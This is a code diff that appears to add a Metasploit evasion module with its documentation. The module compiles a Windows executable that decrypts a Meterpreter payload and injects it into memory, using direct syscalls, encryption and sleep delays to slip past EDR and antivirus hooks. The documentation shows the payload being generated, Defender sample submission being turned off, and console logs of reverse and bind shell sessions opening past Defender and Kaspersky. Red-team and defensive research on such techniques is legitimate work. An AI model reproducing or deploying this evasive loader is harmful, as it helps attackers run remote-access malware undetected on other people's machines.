diff --git a/data/headers/windows/Windows.h b/data/headers/windows/Windows.h index 0a5ce8e8ad..841d035af7 100644 --- a/data/headers/windows/Windows.h +++ b/data/headers/windows/Windows.h @@ -340,6 +340,11 @@ typedef struct _GUID { BYTE Data4[8]; } GUID; +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; + typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED); typedef enum _PROCESSINFOCLASS { diff --git a/data/headers/windows/base64.h b/data/headers/windows/base64.h index 4bcc0f636d..73a17560ef 100644 --- a/data/headers/windows/base64.h +++ b/data/headers/windows/base64.h @@ -17,7 +17,7 @@ static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq int base64decode(char *dest, const char *src, int l) { static char inalphabet[256], decoder[256]; - static bool table_initialized = false; + static short table_initialized = 0; int i, bits, c, char_count; int rpos; int wpos = 0; @@ -27,7 +27,7 @@ int base64decode(char *dest, const char *src, int l) inalphabet[alphabet[i]] = 1; decoder[alphabet[i]] = i; } - table_initialized = true; + table_initialized = 1; } char_count = 0; diff --git a/documentation/modules/evasion/windows/syscall_inject.md b/documentation/modules/evasion/windows/syscall_inject.md new file mode 100644 index 0000000000..035480eb26 --- /dev/null +++ b/documentation/modules/evasion/windows/syscall_inject.md @@ -0,0 +1,119 @@ +## Description +This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly. +Mingw needs (x86_64) to be installed on the system and in the PATH enviroment variable. + +The technique used is based on Sorting by System Call Address, by enumerating all Zw* stubs in the EAT of NTDLL.dll and then sorting them by address, it still works even if syscall indices were overwritten by AVs. +[For more details](https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/) + +## Verification Steps +steps using a meterpreter/reverse_tcp payload on a 64-bits target: + +1. `use evasion/windows/syscall_inject` +1. `set LHOST ` +1. `set payload windows/x64/meterpreter/reverse_tcp` +1. `handler -p windows/x64/meterpreter/reverse_tcp -H -P ` +1. `run` +1. Make sure that "Automatic Sample Submission" is off in Windows Defender +1. Copy the generated executable file to a specified location (e.g. target PC) +1. Run it +1. Verify that you got a session without being blocked by Antimalware + +## Options + +### CIPHER +Encryption algorithm used to encrypt the payload. Available ones (CHACHA, RC4) + +### FILENAME +Filename for the generated evasive file file. The default is random. + +### JUNK +Adding random data such as names, emails and GUIDs to the final executable + +### SLEEP +Specify how much the program sleeps in milliseconds prior to execute the shellcode's thread (NtCreateThread). +NOTE: the longer the better chance to avoid being detected. + +## Advanced + +### OptLevel +Optimization level passed to the compiler (Mingw) + +## Scenarios +### Windows 10 (x64) version 20H2 with Defender +``` +msf6 > use evasion/windows/syscall_inject +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 evasion(windows/syscall_inject) > set SLEEP 10000 +SLEEP => 10000 +msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104 +LHOST => 192.168.1.104 +msf6 evasion(windows/syscall_inject) > run + +[+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe +msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ +[*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ + +msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444 +[*] Payload handler running as background job 1. + +[*] Started reverse TCP handler on 192.168.1.104:4444 +msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103 +[*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300 + +msf6 evasion(windows/syscall_inject) > sessions -i 3 +[*] Starting interaction with 3... + +meterpreter > sysinfo +Computer : DESKTOP-822593D +OS : Windows 10 (10.0 Build 19042). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.1.103 - Meterpreter session 3 closed. Reason: User exit +``` +### Windows server 2012 (x64) with Kaspersky 10.2.6.3733 +``` +msf6 > use evasion/windows/syscall_inject +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp +payload => windows/x64/meterpreter_bind_tcp +msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76 +RHOST => 192.168.225.76 +msf6 evasion(windows/syscall_inject) > set LPORT 10156 +LPORT => 10156 +msf6 evasion(windows/syscall_inject) > set cipher rc4 +cipher => rc4 +msf6 evasion(windows/syscall_inject) > run + +[+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe +msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~ +[*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~ + +msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156 +[*] Payload handler running as background job 0. + +[*] Started bind TCP handler against 192.168.225.76:10156 +msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300 + +msf6 evasion(windows/syscall_inject) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : LABCE28 +OS : Windows 2012 (6.2 Build 9200). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 386 +Meterpreter : x64/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit +``` + diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 3dd4128013..7ae0daec1c 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -1,5 +1,4 @@ require 'open3' - module Metasploit module Framework module Compiler @@ -9,10 +8,10 @@ module Metasploit INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util') UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload') + OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ] def compile_c(src) cmd = build_cmd(src) - stdin_err, status = Open3.capture2e(cmd) stdin_err end @@ -26,7 +25,7 @@ module Metasploit File.write(src_file, src) - opt_level = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ].include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 " + opt_level = OPTIMIZATION_FLAGS.include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 " cmd << "#{self.mingw_bin} " cmd << "#{src_file} -I #{INCLUDE_DIR} " @@ -36,13 +35,16 @@ module Metasploit # allowing them to be reordered cmd << '-ffunction-sections ' cmd << '-fno-asynchronous-unwind-tables ' - cmd << '-nostdlib ' cmd << '-fno-ident ' cmd << opt_level - - link_options << '--no-seh,' - link_options << '-s,' if self.strip_syms - link_options << "-T#{self.link_script}" if self.link_script + if self.compile_options + cmd << self.compile_options + else + cmd << '-nostdlib ' + end + link_options << '--no-seh' + link_options << ',-s' if self.strip_syms + link_options << ",-T#{self.link_script}" if self.link_script cmd << link_options @@ -67,7 +69,7 @@ module Metasploit class X86 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options def initialize(opts={}) @file_name = opts[:f_name] @@ -75,6 +77,7 @@ module Metasploit @keep_src = opts[:keep_src] @strip_syms = opts[:strip_symbols] @link_script = opts[:linker_script] + @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] @mingw_bin = MINGW_X86 end @@ -87,7 +90,7 @@ module Metasploit class X64 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options def initialize(opts={}) @file_name = opts[:f_name] @@ -95,6 +98,7 @@ module Metasploit @keep_src = opts[:keep_src] @strip_syms = opts[:strip_symbols] @link_script = opts[:linker_script] + @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] @mingw_bin = MINGW_X64 end diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb new file mode 100644 index 0000000000..df885a8435 --- /dev/null +++ b/modules/evasion/windows/syscall_inject.rb @@ -0,0 +1,581 @@ +require 'metasploit/framework/compiler/mingw' +require 'metasploit/framework/compiler/windows' +class MetasploitModule < Msf::Evasion + RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') + BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h') + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Direct windows syscall evasion technique', + 'Description' => %q{ + This module allows you to generate a Windows EXE that evades Host-based security products + such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking. + + please try to use payloads that use a more secure transfer channel such as HTTPS or RC4 + in order to avoid payload's network traffic getting caught by network defense mechanisms. + NOTE: for better evasion ratio, use high SLEEP values + }, + 'Author' => [ 'Yaz (kensh1ro)' ], + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => ARCH_X64, + 'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + }, + 'Targets' => [['Microsoft Windows (x64)', {}]] + ) + ) + register_options( + [ + OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]), + OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]), + ] + ) + + register_advanced_options( + [ + OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]), + ] + ) + end + + def calc_hash(name) + hash = @hash + ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) } + name.sub!('Nt', 'Zw') + name << "\x00" + for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 } + p_name = x.unpack('S')[0] + hash ^= p_name + ror8.call(hash) + end + hash.to_s(16) + end + + def nt_alloc + %^ + __asm__("NtAllocateVirtualMemory: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx\\n\\ + mov [rsp+24], r8\\n\\ + mov [rsp+32], r9\\n\\ + sub rsp, 0x28\\n\\ + mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def nt_close + %^ + __asm__("NtClose: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtClose'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def nt_create_thread + %^ + __asm__("NtCreateThreadEx: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx\\n\\ + mov [rsp+24], r8\\n\\ + mov [rsp+32], r9\\n\\ + sub rsp, 0x28\\n\\ + mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28\\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16]\\n\\ + mov r8, [rsp+24]\\n\\ + mov r9, [rsp+32]\\n\\ + mov r10, rcx\\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def nt_open_process + %^ + __asm__("NtOpenProcess: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def nt_protect + %^ + __asm__("NtProtectVirtualMemory: \\n\\ + push rcx \\n\\ + push rdx \\n\\ + push r8 \\n\\ + push r9 \\n\\ + mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + pop r9 \\n\\ + pop r8 \\n\\ + pop rdx \\n\\ + pop rcx \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def nt_write + %^ + __asm__("NtWriteVirtualMemory: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def headers + @headers = "#include \n" + @headers << "#include \"#{BASE64}\"\n" + @headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4' + @headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha' + @headers + end + + def defines + %^ + #define _SEED 0x#{@hash.to_s(16)} + #define _ROR8(v) (v >> 8 | v << 24) + #define MAX_SYSCALLS 500 + #define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + + + typedef struct _SYSCALL_ENTRY + { + DWORD Hash; + DWORD Address; + } SYSCALL_ENTRY, *P_SYSCALL_ENTRY; + + typedef struct _SYSCALL_LIST + { + DWORD Count; + SYSCALL_ENTRY Entries[MAX_SYSCALLS]; + } SYSCALL_LIST, *P_SYSCALL_LIST; + + typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; + } PEB_LDR_DATA, *P_PEB_LDR_DATA; + + typedef struct _LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + } LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY; + + typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + P_PEB_LDR_DATA Ldr; + } PEB, *P_PEB; + + typedef struct _PS_ATTRIBUTE + { + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; + } PS_ATTRIBUTE, *PPS_ATTRIBUTE; + + typedef struct _UNICODE_STRING + { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, *PUNICODE_STRING; + + typedef struct _OBJECT_ATTRIBUTES + { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + + typedef struct _CLIENT_ID + { + HANDLE UniqueProcess; + HANDLE UniqueThread; + } CLIENT_ID, *PCLIENT_ID; + + typedef struct _PS_ATTRIBUTE_LIST + { + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; + } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + + EXTERN_C NTSTATUS NtAllocateVirtualMemory( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN ULONG ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect); + + EXTERN_C NTSTATUS NtProtectVirtualMemory( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect); + + EXTERN_C NTSTATUS NtCreateThreadEx( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN SIZE_T ZeroBits, + IN SIZE_T StackSize, + IN SIZE_T MaximumStackSize, + IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); + + EXTERN_C NTSTATUS NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten OPTIONAL); + + EXTERN_C NTSTATUS NtOpenProcess( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + + EXTERN_C NTSTATUS NtClose( + IN HANDLE Handle); + ^ + end + + def syscall_parser + %@ + SYSCALL_LIST _SyscallList; + + DWORD HashSyscall(PCSTR FunctionName) + { + DWORD i = 0; + DWORD Hash = _SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); + Hash ^= PartialName + _ROR8(Hash); + } + + return Hash; + } + + BOOL PopulateSyscallList() + { + // Return early if the list is already populated. + if (_SyscallList.Count) return TRUE; + + P_PEB Peb = (P_PEB)__readgsqword(0x60); + P_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + PVOID DllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + P_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + DllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; + PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName) != 'ldtn') continue; + if ((*(ULONG*)(DllName + 4)) == 'ld.l') break; + } + + if (!ExportDirectory) return FALSE; + + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate _SyscallList with unsorted Zw* entries. + DWORD i = 0; + P_SYSCALL_ENTRY Entries = _SyscallList.Entries; + do + { + PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + if (*(USHORT*)FunctionName == 'wZ') + { + Entries[i].Hash = HashSyscall(FunctionName); + Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; + + i++; + if (i == MAX_SYSCALLS) break; + } + } while (--NumberOfNames); + + // Save total number of system calls found. + _SyscallList.Count = i; + + // Sort the list by address in ascending order. + for (DWORD i = 0; i < _SyscallList.Count - 1; i++) + { + for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++) + { + if (Entries[j].Address > Entries[j + 1].Address) + { + // Swap entries. + SYSCALL_ENTRY TempEntry; + + TempEntry.Hash = Entries[j].Hash; + TempEntry.Address = Entries[j].Address; + + Entries[j].Hash = Entries[j + 1].Hash; + Entries[j].Address = Entries[j + 1].Address; + + Entries[j + 1].Hash = TempEntry.Hash; + Entries[j + 1].Address = TempEntry.Address; + } + } + } + + return TRUE; + } + + extern DWORD GetSyscallNumber(DWORD FunctionHash) + { + if (!PopulateSyscallList()) return -1; + for (DWORD i = 0; i < _SyscallList.Count; i++) + { + if (FunctionHash == _SyscallList.Entries[i].Hash) + { + return i; + } + } + return -1; + } + @ + end + + def exec_func + %^ + char* enc_shellcode = "#{get_payload}"; + DWORD exec(void *buffer) + { + void (*function)(); + function = (void (*)())buffer; + function(); + } + ^ + end + + def inject + s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}" + @inject = %@ + + void inject() + { + HANDLE pHandle; + DWORD old = 0; + CLIENT_ID cID = {0}; + OBJECT_ATTRIBUTES OA = {0}; + int b64len = strlen(enc_shellcode); + PBYTE shellcode = (PBYTE)malloc(b64len); + SIZE_T size = base64decode(shellcode, enc_shellcode, b64len); + PVOID bAddress = NULL; + int process_id = GetCurrentProcessId(); + cID.UniqueProcess = process_id; + NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID); + NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + int n = 0; + PBYTE temp = (PBYTE)malloc(size); + @ + if datastore['CIPHER'] == 'rc4' + @inject << %@ + #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} + RC4(key, shellcode, temp, size); + NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); + @ + else + @inject << %@ + #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} + #{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'} + chacha_ctx ctx; + chacha_keysetup(&ctx, key, 256, 96); + chacha_ivsetup(&ctx, iv); + chacha_encrypt_bytes(&ctx, shellcode, temp, size); + NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); + @ + end + @inject << %@ + NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old); + #{s if datastore['SLEEP'] > 0}; + HANDLE thread = NULL; + NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL); + WaitForSingleObject(thread, INFINITE); + NtClose(thread); + NtClose(pHandle); + } + @ + end + + def main + %^ + int main() + { + inject(); + } + ^ + end + + def key + if datastore['CIPHER'] == 'rc4' + @key ||= Rex::Text.rand_text_alpha(32..64) + else + @key ||= Rex::Text.rand_text(32) + end + end + + def iv + if datastore['CIPHER'] == 'chacha' + @iv ||= Rex::Text.rand_text(12) + end + end + + def get_payload + junk = Rex::Text.rand_text(10..1024) + p = payload.encoded + junk + vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)") + if datastore['CIPHER'] == 'chacha' + chacha = Rex::Crypto::Chacha20.new(key, iv) + p = chacha.chacha20_crypt(p) + Rex::Text.encode_base64 p + else + opts = { format: 'rc4', key: key } + Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts) + end + end + + def generate_code(src, opts = {}) + comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts) + compiler_out = comp_obj.compile_c(src) + unless compiler_out.empty? + elog(compiler_out) + raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.' + end + comp_file = "#{opts[:f_name]}.exe" + raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file) + + bin = File.binread(comp_file) + file_create(bin) + comp_obj.cleanup_files + end + + def run + @hash = rand 2**28..2**32 - 1 + comp_opts = '-masm=intel -w -mwindows ' + src = headers + src << defines + src << nt_alloc + src << nt_close + src << nt_create_thread + src << nt_open_process + src << nt_protect + src << nt_write + src << syscall_parser + src << exec_func + src << inject + src << main + # obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src + path = Tempfile.new('main').path + vprint_good "Saving temporary source file in #{path}" + compile_opts = + { + strip_symbols: true, + compile_options: comp_opts, + f_name: path, + opt_lvl: datastore['OptLevel'] + } + generate_code src, compile_opts + end + +end